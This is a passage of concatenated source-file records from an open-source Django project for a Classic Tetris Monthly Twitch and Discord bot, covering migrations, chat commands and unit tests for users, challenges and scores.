"a2a8b095c52c964cbe6a17c7aa984f1d71658977", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 90, "license_type": "permissive", "max_line_length": 78, "num_lines": 3, "path": "/script/start_celery.sh", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\nCELERY_WORKER_RUNNING=1 celery -A classic_tetris_project_django worker -l INFO\n" }, { "alpha_fraction": 0.5431354641914368, "alphanum_fraction": 0.5533395409584045, "avg_line_length": 30.705883026123047, "blob_id": "06fa3af2e0c2283a20662b661b093212f1fe2056", "content_id": "574bf84eb57f6c77271dfd96118fe1a549807fd8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2156, "license_type": "permissive", "max_line_length": 112, "num_lines": 68, "path": "/classic_tetris_project/tests/commands/matches/challenge.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from classic_tetris_project.test_helper import *\nfrom classic_tetris_project.queue import Queue\n\nclass ChallengeCommand_(CommandSpec):\n @lazy\n def user1(self):\n return self.twitch_client.create_user(username=\"user1\")\n\n @lazy\n def user2(self):\n return self.twitch_client.create_user(username=\"user2\")\n\n def _open_queue(self):\n Queue(self.twitch_channel.name).open()\n\n def patches(self):\n return super().patches() + [\n patch.object(twitch.APIClient, \"user_from_username\",\n lambda _self, username, _client=None: self.twitch_client._username_cache.get(username))\n ]\n\n class twitch:\n def test_no_queue(self):\n self.assert_twitch(\"!challenge user1\", [\n \"The queue is not open.\"\n ])\n\n def test_invalid_user(self):\n self._open_queue()\n\n self.assert_twitch(\"!challenge user1\", [\n \"Twitch user \\\"user1\\\" does not exist.\"\n ])\n\n def test_own_user(self):\n self._open_queue()\n\n self.assert_twitch(f\"!challenge {self.twitch_user.username}\", [\n \"You can't challenge yourself, silly!\"\n ])\n\n def test_challenge(self):\n self.user1\n self._open_queue()\n\n self.assert_twitch(f\"!challenge user1\", [\n f\"@user1 : {self.twitch_user.username} has challenged you to a match on \"\n f\"twitch.tv/{self.twitch_channel.name}! You have 60 seconds to !accept or !decline.\"\n ])\n\n def test_existing_own_challenge(self):\n self.user1\n self.user2\n self._open_queue()\n self.send_twitch(\"!challenge user2\")\n\n self.assert_twitch(f\"!challenge user1\", [\n \"You have already challenged user2.\"\n ])\n\n def test_existing_other_challenge(self):\n self.user1\n self._open_queue()\n self.send_twitch(\"!challenge user1\", self.user2)\n\n self.assert_twitch(f\"!challenge user1\", [\n \"user1 already has a pending challenge.\"\n ])\n" }, { "alpha_fraction": 0.6217494010925293, "alphanum_fraction": 0.6233254671096802, "avg_line_length": 41.29999923706055, "blob_id": "22c60222bed2d5fa20c7ddd29989623ed58204c1", "content_id": "85765540e3600432b7251d3ab64f78db0234c9f5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1269, "license_type": "permissive", "max_line_length": 82, "num_lines": 30, "path": "/classic_tetris_project/commands/preferred_name.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from .command import Command, CommandException\n\[email protected](\"name\", \"getname\",\n usage=\"name [username] (default username you)\")\nclass GetPreferredNameCommand(Command):\n def execute(self, *username):\n username = username[0] if len(username) == 1 else self.context.args_string\n platform_user = (self.platform_user_from_username(username) if username\n else self.context.platform_user)\n\n if platform_user and platform_user.user.preferred_name:\n self.send_message(\"{user_tag} goes by {preferred_name}\".format(\n user_tag=platform_user.user_tag,\n preferred_name=platform_user.user.preferred_name\n ))\n else:\n self.send_message(\"User has not set a preferred name.\")\n\n\[email protected](\"setname\",\n usage=\"setname <name>\")\nclass SetPreferredNameCommand(Command):\n def execute(self, *name):\n name = \" \".join(name)\n if self.context.user.set_preferred_name(name):\n self.send_message(f\"Your preferred name is set to \\\"{name}\\\".\")\n\n else:\n raise CommandException(\"Invalid name. Valid characters are \"\n \"letters, numbers, spaces, dashes, underscores, and periods.\")\n" }, { "alpha_fraction": 0.5735735893249512, "alphanum_fraction": 0.620120108127594, "avg_line_length": 27.95652198791504, "blob_id": "594a180ff1b3527d879cd9295a29252c47177ba0", "content_id": "6eaf759dccf9e674d4cb20cded910e62af327db0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 666, "license_type": "permissive", "max_line_length": 140, "num_lines": 23, "path": "/classic_tetris_project/migrations/0051_auto_20210607_0114.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-06-07 01:14\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0050_auto_20210515_0803'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='tournament',\n name='restreamed',\n field=models.BooleanField(default=False, help_text=\"Determines whether this tournament's matches can be restreamed by default\"),\n ),\n migrations.AlterField(\n model_name='tournamentmatch',\n name='restreamed',\n field=models.BooleanField(default=False),\n ),\n ]\n" }, { "alpha_fraction": 0.6634615659713745, "alphanum_fraction": 0.6634615659713745, "avg_line_length": 33.66666793823242, "blob_id": "e8926c2dfb9c4edaee38a4f0690e37b448908729", "content_id": "824ce67f101c2391f8a52b8cfeb4eaece33ef33e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 416, "license_type": "permissive", "max_line_length": 88, "num_lines": 12, "path": "/classic_tetris_project/commands/__init__.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import os\nimport pkgutil\nfrom importlib import import_module\n\ndef import_dir(dirname, package):\n for _, package_name, is_pkg in pkgutil.walk_packages([dirname]):\n if is_pkg:\n import_dir(os.path.join(dirname, package_name), f\"{package}.{package_name}\")\n else:\n import_module(\".\" + package_name, package)\n\nimport_dir(os.path.dirname(__file__), \"classic_tetris_project.commands\")\n" }, { "alpha_fraction": 0.7189348936080933, "alphanum_fraction": 0.7189348936080933, "avg_line_length": 24.923076629638672, "blob_id": "5745b856346be1868a14282b95e3e331d1742914", "content_id": "e7893aa5509b0240c08e152bf7f3b65733da39eb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 338, "license_type": "permissive", "max_line_length": 78, "num_lines": 13, "path": "/classic_tetris_project/models/coin.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.utils import timezone\n\nfrom .users import User\n\n\nclass Side(models.Model):\n user = models.ForeignKey(User, on_delete=models.PROTECT, related_name=\"+\")\n timestamp = models.DateTimeField()\n\n @staticmethod\n def log(user):\n Side.objects.create(user=user, timestamp=timezone.now())\n\n" }, { "alpha_fraction": 0.6277074217796326, "alphanum_fraction": 0.6383326649665833, "avg_line_length": 41.18965530395508, "blob_id": "50a4647159fbda7c3453386113229a815c495680", "content_id": "18b158603d7ae1d55782dd1b0007609ffcade6b0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2447, "license_type": "permissive", "max_line_length": 87, "num_lines": 58, "path": "/classic_tetris_project/tests/util/merge.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from classic_tetris_project.test_helper import *\nfrom classic_tetris_project.util.merge import UserMerger\n\nclass UserMerger_(Spec):\n @lazy\n def user1(self):\n return UserFactory()\n @lazy\n def user2(self):\n return UserFactory()\n @lazy\n def merger(self):\n return UserMerger(self.user1, self.user2)\n\n class merge:\n def test_merges_users_successfully(self):\n discord_user = DiscordUserFactory(user=self.user1)\n twitch_user = TwitchUserFactory(user=self.user2)\n self.merger.merge()\n\n discord_user.refresh_from_db()\n twitch_user.refresh_from_db()\n assert_that(discord_user.user, equal_to(self.user1))\n assert_that(twitch_user.user, equal_to(self.user1))\n assert_that(calling(self.user2.refresh_from_db), raises(User.DoesNotExist))\n\n def test_merges_into_discord_user(self):\n discord_user = DiscordUserFactory(user=self.user2)\n twitch_user = TwitchUserFactory(user=self.user1)\n self.merger.merge()\n\n discord_user.refresh_from_db()\n twitch_user.refresh_from_db()\n assert_that(discord_user.user, equal_to(self.user2))\n assert_that(twitch_user.user, equal_to(self.user2))\n assert_that(calling(self.user1.refresh_from_db), raises(User.DoesNotExist))\n\n def test_fails_with_two_discord_users(self):\n discord_user = DiscordUserFactory(user=self.user1)\n discord_user2 = DiscordUserFactory(user=self.user2)\n twitch_user = TwitchUserFactory(user=self.user2)\n\n assert_that(calling(self.merger.merge), raises(UserMerger.MergeError))\n discord_user.refresh_from_db()\n twitch_user.refresh_from_db()\n assert_that(discord_user.user, equal_to(self.user1))\n assert_that(twitch_user.user, equal_to(self.user2))\n\n def test_fails_with_two_twitch_users(self):\n discord_user = DiscordUserFactory(user=self.user1)\n twitch_user = TwitchUserFactory(user=self.user2)\n twitch_user2 = TwitchUserFactory(user=self.user1)\n\n assert_that(calling(self.merger.merge), raises(UserMerger.MergeError))\n discord_user.refresh_from_db()\n twitch_user.refresh_from_db()\n assert_that(discord_user.user, equal_to(self.user1))\n assert_that(twitch_user.user, equal_to(self.user2))\n" }, { "alpha_fraction": 0.5979591608047485, "alphanum_fraction": 0.6428571343421936, "avg_line_length": 24.789474487304688, "blob_id": "9b1588f92e5c027552297292333dd5fca8738792", "content_id": "8a100b3ef291dd8b4eb6ef25606be7ed2d5ffd7c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 490, "license_type": "permissive", "max_line_length": 99, "num_lines": 19, "path": "/classic_tetris_project/migrations/0073_tournament_bracket_color.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.11 on 2022-07-26 19:08\n\nimport colorfield.fields\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0072_remove_tournament_bracket_color'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='tournament',\n name='bracket_color',\n field=colorfield.fields.ColorField(blank=True, default=None, max_length=18, null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.5958762764930725, "alphanum_fraction": 0.6412371397018433, "avg_line_length": 24.526315689086914, "blob_id": "0141f1bd3cfb46edbb02ddcea3a5dd80bdfbf0fc", "content_id": "3a870647fa4705fe2463e91f92f0cbf64fd31b27", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 485, "license_type": "permissive", "max_line_length": 99, "num_lines": 19, "path": "/classic_tetris_project/migrations/0071_alter_tournament_bracket_color.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.11 on 2022-07-26 18:51\n\nimport colorfield.fields\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0070_tournament_bracket_color'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='tournament',\n name='bracket_color',\n field=colorfield.fields.ColorField(blank=True, default=None, max_length=18, null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.5913528800010681, "alphanum_fraction": 0.6345885396003723, "avg_line_length": 31.590909957885742, "blob_id": "e893a9be53ccfb273a651a518e02b2f0d0ba8989", "content_id": "c1a50e86f7d1ad9bb04c15ff0a2c7d2ca1aeeee3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 717, "license_type": "permissive", "max_line_length": 146, "num_lines": 22, "path": "/classic_tetris_project/migrations/0059_auto_20220109_0846.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2022-01-09 08:46\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0058_auto_20220104_1936'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='tournamentmatch',\n options={'permissions': [('restream', 'Can report restreamable matches')], 'verbose_name_plural': 'tournament matches'},\n ),\n migrations.AddField(\n model_name='tournament',\n name='active',\n field=models.BooleanField(default=True, help_text=\"Controls whether this tournament's bracket should be updated on match completion\"),\n ),\n ]\n" }, { "alpha_fraction": 0.5988083481788635, "alphanum_fraction": 0.6335650682449341, "avg_line_length": 30.46875, "blob_id": "d011b94d2e3cb505bc08905d0d7a1f93862ef3cd", "content_id": "bc9b13463a4f3bce3eac317a132523f4fa80e249", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1007, "license_type": "permissive", "max_line_length": 85, "num_lines": 32, "path": "/classic_tetris_project/migrations/0004_twitchuser_username.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.2 on 2019-08-07 00:36\n\nfrom django.db import migrations, models\n\nfrom .. import twitch\n\ndef gen_usernames(apps, schema_editor):\n TwitchUser = apps.get_model('classic_tetris_project', 'TwitchUser')\n for twitch_user in TwitchUser.objects.all():\n twitch_user.username = twitch.client.get_user(twitch_user.twitch_id).username\n twitch_user.save()\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0003_auto_20190628_1759'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='twitchuser',\n name='username',\n field=models.CharField(default='', max_length=25),\n preserve_default=False,\n ),\n migrations.RunPython(gen_usernames, reverse_code=migrations.RunPython.noop),\n migrations.AlterField(\n model_name='twitchuser',\n name='username',\n field=models.CharField(max_length=25, unique=True),\n ),\n ]\n" }, { "alpha_fraction": 0.5883170962333679, "alphanum_fraction": 0.6314325332641602, "avg_line_length": 28.95833396911621, "blob_id": "0d65fbd31f94a88c75a9847618cfca20f90ac088", "content_id": "2842058cc6d37c24d7cd08638375200ef114ee32", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 719, "license_type": "permissive", "max_line_length": 145, "num_lines": 24, "path": "/classic_tetris_project/migrations/0048_auto_20210417_2147.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-04-17 21:47\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0047_auto_20210405_0653'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='tournamentmatch',\n name='round_number',\n field=models.IntegerField(blank=True, null=True),\n ),\n migrations.AlterField(\n model_name='tournamentmatch',\n name='tournament',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='matches', to='classic_tetris_project.tournament'),\n ),\n ]\n" }, { "alpha_fraction": 0.5615212321281433, "alphanum_fraction": 0.6308724880218506, "avg_line_length": 22.526315689086914, "blob_id": "000de2815b46f3eb6ef89cec7ab6d41204b81035", "content_id": "db4a36e57a3a8be24afa8024ff6c3785de04b602", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 447, "license_type": "permissive", "max_line_length": 62, "num_lines": 19, "path": "/classic_tetris_project/migrations/0038_event_pre_qualifying_instructions.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-02-01 06:26\n\nfrom django.db import migrations\nimport markdownx.models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0037_auto_20210201_0604'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='event',\n name='pre_qualifying_instructions',\n field=markdownx.models.MarkdownxField(blank=True),\n ),\n ]\n" }, { "alpha_fraction": 0.5830903649330139, "alphanum_fraction": 0.6046647429466248, "avg_line_length": 46.63888931274414, "blob_id": "7d0e2186087c216b7c08e99b362b2adc66f99b0a", "content_id": "b0d61a71faa9c738e3a724cc981d8fcd8ba3c957", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1715, "license_type": "permissive", "max_line_length": 144, "num_lines": 36, "path": "/classic_tetris_project/migrations/0007_game_match.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.2 on 2019-08-12 16:10\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0006_auto_20190812_0423'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Match',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('wins1', models.IntegerField(default=0)),\n ('wins2', models.IntegerField(default=0)),\n ('ended_at', models.DateTimeField(null=True)),\n ('channel', models.ForeignKey(null=True, on_delete=django.db.models.deletion.PROTECT, to='classic_tetris_project.TwitchUser')),\n ('player1', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='+', to='classic_tetris_project.User')),\n ('player2', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='+', to='classic_tetris_project.User')),\n ],\n ),\n migrations.CreateModel(\n name='Game',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('losing_score', models.IntegerField()),\n ('ended_at', models.DateTimeField(auto_now_add=True)),\n ('match', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='classic_tetris_project.Match')),\n ('winner', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='classic_tetris_project.User')),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.6947723627090454, "alphanum_fraction": 0.6947723627090454, "avg_line_length": 44.53845977783203, "blob_id": "078ce352989645dfcdb434ed31c6b9b7e11cd37a", "content_id": "0cf68a8c3eeda0b8ee684dedf0487415050371eb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1186, "license_type": "permissive", "max_line_length": 100, "num_lines": 26, "path": "/classic_tetris_project/commands/info.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from .command import Command\n\nCOMMANDS_URL = \"https://github.com/professor-l/classic-tetris-project/blob/master/docs/COMMANDS.md\"\nSOURCECODE_URL = \"https://github.com/professor-l/classic-tetris-project\"\n\[email protected](\"help\", \"commands\", usage=\"help\")\nclass HelpCommand(Command):\n def execute(self, *args):\n self.send_message(f\"All available commands are documented at {COMMANDS_URL}\")\n\[email protected](\"code\", \"source\", \"sourcecode\", usage=\"source\")\nclass SourceCodeCommand(Command):\n def execute(self, *args):\n self.send_message(f\"The source code for this bot can be found here: {SOURCECODE_URL}\")\n\[email protected](\"stencil\", usage=\"stencil\")\nclass StencilCommand(Command):\n def execute(self, *args):\n self.send_message(\"The stencil helps the streamer line up your Tetris playfield with their \"\n \"broadcast scene. Link here: https://go.ctm.gg/stencil\")\n\[email protected]_twitch(\"ctm\", usage=\"ctm\")\nclass CTMDiscordCommand(Command):\n def execute(self, *args):\n self.send_message(\"Join the Classic Tetris Monthly Discord server to learn more about CTM! \"\n \"https://go.ctm.gg/discord\")\n\n\n" }, { "alpha_fraction": 0.5868016481399536, "alphanum_fraction": 0.6047993898391724, "avg_line_length": 42.155338287353516, "blob_id": "8b6356c86baffc168a3eed4f3c43f1fca6f42125", "content_id": "265ed6893131e8f4f9615e1efabf7c633c87e994", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13335, "license_type": "permissive", "max_line_length": 102, "num_lines": 309, "path": "/classic_tetris_project/tests/models/users.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from classic_tetris_project.test_helper import *\n\nclass User_(Spec):\n @lazy\n def user(self):\n return UserFactory()\n @lazy\n def discord_user(self):\n return DiscordUserFactory(user=self.user)\n @lazy\n def twitch_user(self):\n return TwitchUserFactory(user=self.user)\n @lazy\n def other_user(self):\n return UserFactory()\n\n class add_pb:\n def test_creates_score_pb(self):\n assert_that(ScorePB.objects.count(), equal_to(0))\n\n self.user.add_pb(200000)\n\n assert_that(ScorePB.objects.count(), equal_to(1))\n assert_that(ScorePB.objects.last(), has_properties(\n user=equal_to(self.user),\n current=equal_to(True),\n score=equal_to(200000),\n console_type=equal_to(\"ntsc\"),\n starting_level=equal_to(None),\n lines=equal_to(None),\n ))\n\n def test_with_params_creates_score_pb(self):\n assert_that(ScorePB.objects.count(), equal_to(0))\n\n self.user.add_pb(200000, console_type=\"pal\", starting_level=18, lines=30)\n\n assert_that(ScorePB.objects.count(), equal_to(1))\n assert_that(ScorePB.objects.last(), has_properties(\n user=equal_to(self.user),\n current=equal_to(True),\n score=equal_to(200000),\n console_type=equal_to(\"pal\"),\n starting_level=equal_to(18),\n lines=equal_to(30),\n ))\n\n def test_with_existing_replaces_current(self):\n score_pb_other = ScorePBFactory()\n score_pb_pal = ScorePBFactory(user=self.user, console_type=\"pal\")\n score_pb_19 = ScorePBFactory(user=self.user, starting_level=19)\n score_pb = ScorePBFactory(user=self.user)\n\n self.user.add_pb(200000)\n score_pb_other.refresh_from_db()\n score_pb_pal.refresh_from_db()\n score_pb_19.refresh_from_db()\n score_pb.refresh_from_db()\n\n assert_that(score_pb_other.current, equal_to(True))\n assert_that(score_pb_pal.current, equal_to(True))\n assert_that(score_pb_19.current, equal_to(True))\n assert_that(score_pb.current, equal_to(False))\n\n class get_pb:\n def test_without_score_pbs_returns_none(self):\n score_pb_other = self.other_user.add_pb(999999)\n\n assert_that(self.user.get_pb(), equal_to(None))\n\n def test_returns_greatest_score(self):\n score_pb_other = self.other_user.add_pb(999999)\n\n score_pb_accident = self.user.add_pb(2000000)\n score_pb_old = self.user.add_pb(200000)\n score_pb_18_old = self.user.add_pb(200000, starting_level=18)\n score_pb_18 = self.user.add_pb(400000, starting_level=18)\n score_pb_19 = self.user.add_pb(300000, starting_level=19)\n score_pb_pal_old = self.user.add_pb(300000, console_type=\"pal\")\n score_pb_pal = self.user.add_pb(500000, console_type=\"pal\")\n\n assert_that(self.user.get_pb(), equal_to(400000))\n assert_that(self.user.get_pb(starting_level=18), equal_to(400000))\n assert_that(self.user.get_pb(starting_level=19), equal_to(300000))\n assert_that(self.user.get_pb(console_type=\"pal\"), equal_to(500000))\n\n class display_name:\n def test_with_twitch_user(self):\n self.discord_user\n self.twitch_user\n self.user.preferred_name = \"Preferred Name\"\n assert_that(self.user.display_name, equal_to(self.twitch_user.display_name))\n\n def test_with_preferred_name(self):\n self.discord_user\n self.user.preferred_name = \"Preferred Name\"\n assert_that(self.user.display_name, equal_to(\"Preferred Name\"))\n\n def test_with_discord_user(self):\n self.discord_user\n assert_that(self.user.display_name, equal_to(self.discord_user.username))\n\n def test_with_nothing(self):\n assert_that(self.user.display_name, equal_to(f\"User {self.user.id}\"))\n\n class preferred_display_name:\n def test_with_preferred_name(self):\n self.discord_user\n self.twitch_user\n self.user.preferred_name = \"Preferred Name\"\n assert_that(self.user.preferred_display_name, equal_to(\"Preferred Name\"))\n\n def test_with_twitch_user(self):\n self.discord_user\n self.twitch_user\n assert_that(self.user.preferred_display_name, equal_to(self.twitch_user.display_name))\n\n def test_with_discord_user(self):\n self.discord_user\n assert_that(self.user.preferred_display_name, equal_to(self.discord_user.username))\n\n def test_with_nothing(self):\n assert_that(self.user.preferred_display_name, equal_to(f\"User {self.user.id}\"))\n\n class profile_id:\n def test_with_twitch_user(self):\n self.twitch_user\n assert_that(self.user.profile_id(), equal_to(self.twitch_user.username))\n\n def test_without_twitch_user(self):\n assert_that(self.user.profile_id(), equal_to(self.user.id))\n\n class get_absolute_url:\n def test_with_twitch_user(self):\n self.twitch_user\n assert_that(self.user.get_absolute_url(),\n equal_to(f\"/user/{self.twitch_user.username}/\"))\n\n def test_without_twitch_user(self):\n assert_that(self.user.get_absolute_url(),\n equal_to(f\"/user/{self.user.id}/\"))\n\n @patch(\"django.conf.settings.BASE_URL\", \"https://monthlytetris.info\")\n def test_with_include_base(self):\n assert_that(self.user.get_absolute_url(True),\n equal_to(f\"https://monthlytetris.info/user/{self.user.id}/\"))\n\n\nclass DiscordUser_(Spec):\n @lazy\n def discord_user(self):\n return DiscordUserFactory(discord_id=\"1001\", username=\"User 1\", discriminator=\"9001\")\n @lazy\n def discord_user_old(self):\n return DiscordUserFactory(discord_id=\"1001\", username=\"User 1 old\", discriminator=\"8001\")\n @lazy\n def discord_user_other(self):\n return DiscordUserFactory(discord_id=\"1002\", username=\"User 2\", discriminator=\"9002\")\n @lazy\n def user_obj(self):\n return discord.wrap_user_dict({ \"id\": \"1001\", \"username\": \"User 1\", \"discriminator\": \"9001\",\n \"avatar\": \"1001\" })\n\n class get_or_create_from_user_obj:\n def test_returns_existing_user(self):\n existing_discord_user = self.discord_user\n discord_user = DiscordUser.get_or_create_from_user_obj(self.user_obj)\n\n assert_that(discord_user, equal_to(existing_discord_user))\n\n def test_updates_existing_user(self):\n existing_discord_user = self.discord_user_old\n discord_user = DiscordUser.get_or_create_from_user_obj(self.user_obj)\n\n assert_that(discord_user, equal_to(existing_discord_user))\n existing_discord_user.refresh_from_db()\n assert_that(existing_discord_user.username, equal_to(\"User 1\"))\n assert_that(existing_discord_user.discriminator, equal_to(\"9001\"))\n\n def test_creates_user(self):\n discord_user = DiscordUser.get_or_create_from_user_obj(self.user_obj)\n\n assert_that(DiscordUser.objects.count(), equal_to(1))\n assert_that(discord_user.discord_id, equal_to(\"1001\"))\n assert_that(discord_user.username, equal_to(\"User 1\"))\n assert_that(discord_user.discriminator, equal_to(\"9001\"))\n\n class username_with_descriminator:\n def test_returns_correct_value(self):\n self.discord_user.username = \"Username\"\n self.discord_user.discriminator = \"1234\"\n assert_that(self.discord_user.username_with_discriminator, equal_to(\"Username#1234\"))\n\n class update_fields:\n def test_updates_fields(self):\n self.discord_user_old.update_fields(self.user_obj)\n\n self.discord_user_old.refresh_from_db()\n assert_that(self.discord_user_old.username, equal_to(\"User 1\"))\n assert_that(self.discord_user_old.discriminator, equal_to(\"9001\"))\n\n def test_doesnt_save_if_no_change(self):\n self.discord_user\n with patch.object(DiscordUser, \"save\") as save:\n self.discord_user.update_fields(self.user_obj)\n\n assert_that(self.discord_user.username, equal_to(\"User 1\"))\n assert_that(self.discord_user.discriminator, equal_to(\"9001\"))\n save.assert_not_called()\n\n def test_complains_given_wrong_id(self):\n assert_that(calling(self.discord_user_other.update_fields).with_args(self.user_obj),\n raises(Exception))\n\n\nclass TwitchUser_(Spec):\n @lazy\n def twitch_user(self):\n return TwitchUserFactory()\n\n class from_username:\n def test_with_existing_user(self):\n assert_that(TwitchUser.from_username(self.twitch_user.username),\n equal_to(self.twitch_user))\n\n def test_without_existing_user(self):\n assert_that(TwitchUser.from_username(\"nonexistent\"), equal_to(None))\n\n @patch.object(twitch.APIClient, \"user_from_username\")\n def test_refetch_without_result(self, api_patch):\n api_patch.return_value = None\n\n assert_that(TwitchUser.from_username(\"nonexistent\", True), equal_to(None))\n\n @patch.object(twitch.APIClient, \"user_from_username\")\n def test_refetch_without_matching_user(self, api_patch):\n api_patch.return_value = MockTwitchAPIUser.create(username=\"no_match\")\n\n assert_that(TwitchUser.from_username(\"no_match\", True), equal_to(None))\n\n @patch.object(twitch.APIClient, \"user_from_username\")\n def test_refetch_with_matching_user(self, api_patch):\n api_patch.return_value = MockTwitchAPIUser.create(username=\"match\",\n id=self.twitch_user.twitch_id)\n\n assert_that(TwitchUser.from_username(\"match\", True), equal_to(self.twitch_user))\n self.twitch_user.refresh_from_db()\n assert_that(self.twitch_user.username, equal_to(\"match\"))\n\n class get_or_create_from_username:\n def test_with_existing_user(self):\n assert_that(TwitchUser.get_or_create_from_username(self.twitch_user.username),\n equal_to(self.twitch_user))\n\n @patch.object(twitch.APIClient, \"user_from_username\")\n def test_with_new_user(self, api_patch):\n api_patch.return_value = MockTwitchAPIUser.create(username=\"new_user\", id=\"12345\")\n\n new_twitch_user = TwitchUser.get_or_create_from_username(\"new_user\")\n assert_that(new_twitch_user.username, equal_to(\"new_user\"))\n assert_that(new_twitch_user.twitch_id, equal_to(\"12345\"))\n\n @patch.object(twitch.APIClient, \"user_from_username\")\n def test_with_updated_user(self, api_patch):\n api_patch.return_value = MockTwitchAPIUser.create(username=\"updated_user\",\n id=self.twitch_user.twitch_id)\n\n assert_that(TwitchUser.get_or_create_from_username(\"updated_user\"),\n equal_to(self.twitch_user))\n self.twitch_user.refresh_from_db()\n assert_that(self.twitch_user.username, equal_to(\"updated_user\"))\n assert_that(TwitchUser.objects.count(), equal_to(1))\n\n @patch.object(twitch.APIClient, \"user_from_username\")\n def test_with_nonexistent_user(self, api_patch):\n api_patch.return_value = None\n\n assert_that(calling(TwitchUser.get_or_create_from_username).with_args(\"nonexistent_user\"),\n raises(Exception))\n\n class get_or_create_from_user_obj:\n def test_with_existing_user(self):\n user_obj = MockTwitchAPIUser.create(username=self.twitch_user.username,\n id=self.twitch_user.twitch_id)\n\n assert_that(TwitchUser.get_or_create_from_user_obj(user_obj),\n equal_to(self.twitch_user))\n\n def test_with_updated_user(self):\n user_obj = MockTwitchAPIUser.create(username=\"updated_user\",\n id=self.twitch_user.twitch_id)\n\n assert_that(TwitchUser.get_or_create_from_user_obj(user_obj),\n equal_to(self.twitch_user))\n self.twitch_user.refresh_from_db()\n assert_that(self.twitch_user.username, equal_to(\"updated_user\"))\n\n def test_without_existing_user(self):\n user_obj = MockTwitchAPIUser.create(username=\"new_user\", id=\"12345\")\n\n new_twitch_user = TwitchUser.get_or_create_from_user_obj(user_obj)\n assert_that(new_twitch_user.username, equal_to(\"new_user\"))\n assert_that(new_twitch_user.twitch_id, equal_to(\"12345\"))\n assert_that(TwitchUser.objects.count(), equal_to(1))\n\n class twitch_url:\n def test_returns_twitch_url(self):\n self.twitch_user.username = \"dexfore\"\n 